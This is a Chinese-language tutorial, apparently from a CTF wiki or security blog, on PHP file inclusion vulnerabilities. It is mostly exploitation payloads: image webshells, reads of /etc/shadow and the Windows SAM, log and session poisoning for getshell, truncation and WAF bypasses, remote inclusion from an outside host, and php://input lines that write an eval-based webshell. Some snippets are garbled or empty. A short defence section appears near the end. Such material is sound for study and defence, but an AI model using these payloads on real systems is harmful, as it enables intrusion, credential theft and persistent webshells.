前言
随着网站业务的需求,程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但是正是这种灵活性通过动态变量的方式引入需要包含的文件时,用户对这个变量可控而且服务端又没有做合理的校验或者校验被绕过就造成了文件包含漏洞。文件包含漏洞往往会与其他漏洞一同作用,对我们的web安全造成严重的威胁
文件包含漏洞
产生原因
为了更好地使用代码的重用性,引入了文件包含函数,可以通过文件包含函数将文件包含进来,直接使用包含文件的代码。
原理
文件包含函数加载的参数没有进行过滤或严格的定义,可以被用户控制,包含了一些恶意文件。
常见的文件包含函数
1 | include():执行到include时才包含文件,找不到被包含的文件时只会产生警告,脚本将继续执行 |
特征
在某一个页面中,一个变量的值等于一个页面文件或者是一个固定的值,比如?page=a.asp、?home=b.html、?file=content
利用条件
- web应用采用include等文件包含函数,并且需要包含的文件路径是通过用户传输参数的方式引入
- 用户能够控制包含文件的参数,被包含的文件可被当前页面访问
分类
本地文件包含
利用方式
上传图片马,包含图片马getshell
图片马制作
1
2copy 1.png/b + phpinfo.php 213.jpg
其中phpinfo.php可以为一句话木马,i.png为普通图片(图片尽量简单)读取网站源码以及配置文件
常见敏感目录
linux
1
2
3
4
5
6
7/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/my.conf // mysql 配置文件windows
1
2
3
4
5
6
7c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息包含日志文件getshell
适用场景
当我们的目标站点没有上传功能并且也不能远程文件包含时,我们就可以考虑包含日志文件或者其它可以记录客户端输入的文件。
原理
当我们访问网站时,服务器日志会记录我们的行为,当我们的访问链接中含义恶意代码时,也会被记录到日志中,从而通过包含日志可以进行getshell。
默认日志存放路径
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29一)日志默认路径
(1) apache+Linux日志默认路径
/etc/httpd/logs/access_log 或者 /var/log/httpd/access_log
(2) apache+win2003日志默认路径
D:\xampp\apache\logs\access.log
D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
%SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
日志文件在用户安装目录logs目录下
以我的安装路径为例/usr/local/nginx,
那我的日志目录就是在/usr/local/nginx/logs里
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
二)web中间件默认配置
(1) apache+linux 默认配置文件
/etc/httpd/conf/httpd.conf 或者 index.php?page=/etc/init.d/httpd
(2) IIS6.0+win2003 配置文件
C:/Windows/system32/inetsrv/metabase.xml
(3) IIS7.0+WIN 配置文件
C:\Windows\System32\inetsrv\config\applicationHost.config利用条件
- 日志存放路径的获取
- 存在文件包含漏洞
- curl命令行url请求工具或者burp代理(避免url编码的干扰)
包含session文件
利用手段
通过phpinfo 的信息获取到session的存储位置
通过猜测默认的session存放位置进行尝试
如linux下默认存储在/var/lib/php/session目录下
session中的内容可以被控制,传入恶意代码。
示例
1
2
3
4
5
6
7
8
9
session_start();
$ctfs=$_GET['ctfs'];
$_SESSION["username"]=$ctfs;漏洞分析
此php会将获取到的GET型ctfs变量的值存入到session中。
当访问http://www.ctfs-wiki/session.php?ctfs=ctfs 后,会在/var/lib/php/session目录下存储session的值。
session的文件名为sess_+sessionid,sessionid可以通过开发者模式获取。
漏洞利用
当访问http://www.ctfs-wiki/session.php?ctfs=后,会在/var/lib/php/session目录下存储session的值。
攻击者通过phpinfo()信息泄露或者猜测能获取到session存放的位置,文件名称通过开发者模式可获取到,然后通过文件包含的漏洞解析恶意代码getshell。
绕过限制
%00截断
条件:magic_quotes_gpc = Off php版本<5.3.4
测试代码:
1 |
|
payload
1 | http://www.ctfs-wiki.com/FI/FI.php?filename=../../../../../../../boot.ini%00 |
路径长度截断
条件:windows OS,点号需要长于256;linux OS长于4096
测试代码:
1 |
|
payload
1 | http://www.ctfs-wiki.com/FI/FI.php?filename=test.txt/././.......省略若干 |
点号截断
条件:windows OS,点号需要长于256
测试代码:
1 |
|
payload
1 | http://www.ctfs-wiki.com/FI/FI.php |
远程文件包含
注意点
- 需要
php.ini
中allow_url_include = on
以及allow_url_fopen=on
- 所包含远程服务器的文件后缀不能与目标服务器语言相同。(比如目标服务器是php脚本语言解析的,那么包含的远程服务器文件后缀不能是
php
)
绕过过滤
测试代码:
1 | include($_GET['filename'] . ".html"); |
问号绕过
1 | http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt? |
#号绕过
1 | http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%23 |
空格绕过
1 | http://www.ctfs-wiki.com/FI/WFI.php?filename=http://192.168.91.133/FI/php.txt%20 |
防御措施
- PHP 中使用 open_basedir 配置限制访问在指定的区域
- 过滤.(点)/(反斜杠)\(反斜杠)
- 禁止服务器远程文件包含
伪协议
php://input
利用原理
php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行。
利用条件
1
2
3allow_url_fopen:off/on
allow_url_include:on利用语句
执行任意代码
1
2?file=php://input
post数据: phpinfo();写入木马
1
2?file=php://input
post数据: 'shell.php','w'),'<?php @eval($_POST[cmd])?>'); fputs(fopen(
读取目录结构
1
2
3?file=php://inputpost数据:
post数据:
echo '<pre>';print_r(scandir('E:/');
data://
跟input协议差不多,指定data是get方法,而input是post方法
phar://
利用条件
php>=5.3.0
利用语句
http://127.0.0.1/flag.php?f=phar://attack.txt,attack.txt可写入php代码
zip://
利用条件
php>=5.3.0,在windows下测试要5.3.0<PHP<5.4 才可以,需要指定绝对路径
利用语句
zip://attect.zip#dir/file.txt,file.txt
php://filter
利用原理
php://filter可以获取指定文件源码。当它与包含函数结合时,php://filter流会被当作php文件行。如果我们对其进行编码,就可以任意文件读取。
利用语句
1
2
3
4
5
6
7?file=php://filter/resource=xxx.php
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php
或
?file=php://filter/convert.base64-encode/resource=xxx.php #可绕过过滤了操作名read的waf
或
?file=php://filter/read=convert.base64-encode/resource=xxx.php #可用重写resource绕过正则为"/resource=*.jpg/i"的waf